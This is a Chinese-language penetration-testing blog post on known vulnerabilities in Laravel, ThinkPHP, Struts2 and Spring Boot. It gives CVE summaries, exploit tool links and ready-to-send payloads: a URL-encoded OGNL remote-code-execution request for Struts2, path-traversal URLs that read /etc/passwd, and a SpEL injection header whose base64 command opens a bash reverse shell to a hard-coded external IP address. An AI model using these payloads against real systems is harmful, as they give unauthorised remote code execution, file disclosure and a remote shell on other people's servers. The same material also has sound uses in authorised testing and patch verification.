框架安全(Laravel、thinkphp、struts2、springboot)

PHP框架

laravel

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

特征:

CVE-2021-3129

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造成远程代码执行。

版本影响范围:Laravel <= 8.4.2

工具:https://github.com/zhzyker/CVE-2021-3129

thinkphp

特征:

查看数据包

查看icon图标

查看页面报错信息:

CVE-2018-1002015

对于6以下的版本,我们可以直接使用工具检测是否存在漏洞。(狐狸工具箱)

利用:

对于6的版本存在一个lang 命令执行漏洞。但没有现成工具利用,需要我们直接构造数据包发送。

JAVA框架

struts2

特征识别:访问url中通常是.action

CVE-2020-17530

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行。

利用:

工具:https://github.com/YanMu2020/s2-062

CVE-2021-31805

版本范围:Apache Struts 2.0.0 - 2.5.29

利用:以POST形式发送数据(其中要对执行的命令base64编码,然后url编码)

Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%61%57%51%3d}|{base64,-d}|{bash,-i}'}))

springboot

CVE-2021-21234

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包"eu.hinsch:spring-boot-actuator-logview"。**在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。**该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此`filename=../somefile` 将不起作用),但没有充分检查基本文件夹参数,因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

POC:
http://目标/manage/log/view?filename=etc/passwd\&base=../../../../../../

http://目标/manage/log/view?filename=/windows/win.ini\&base=../../../../../../../

CVE-2022-22963

Spring Cloud Function SPEL 远程代码执行

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

利用:
POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

注意以post形式必须提交数据

CVE-2022-22965

Spring Framework远程代码执行漏洞
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
利用:


工具:https : //github.com/BobTheShoplifter/Spring4Shell-PoC

CVE-2022-22947

Spring Cloud Gateway是Spring中的一个 API 网关
影响版本:
Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

参考文章:Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)-腾讯云开发者社区-腾讯云

综合利用工具:
https : //github.com/0x727/SpringBootExploit

相关推荐
HEX9CF10 分钟前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
小小工匠1 小时前
加密与安全_HOTP一次性密码生成算法
算法·安全·htop·一次性密码
Tandy12356_1 小时前
js逆向——webpack实战案例(一)
前端·javascript·安全·webpack
酷酷-1 小时前
彩虹易支付最新版源码及安装教程(修复BUG+新增加订单投诉功能)
html·php·bug
什么鬼昵称3 小时前
Pikachu-xxe-xxe漏洞
网络·安全·xxe
杨哥带你写代码3 小时前
构建高效新闻推荐系统:Spring Boot的力量
服务器·spring boot·php
A 八方4 小时前
【漏洞复现】泛微OA E-Office do_excel.php 任意文件写入漏洞
开发语言·安全·php
ac-er88885 小时前
PHP__sleep和__wakeup有什么区别
开发语言·php
x-cmd5 小时前
[241005] 14 款最佳免费开源图像处理库 | PostgreSQL 17 正式发布
数据库·图像处理·sql·安全·postgresql·开源·json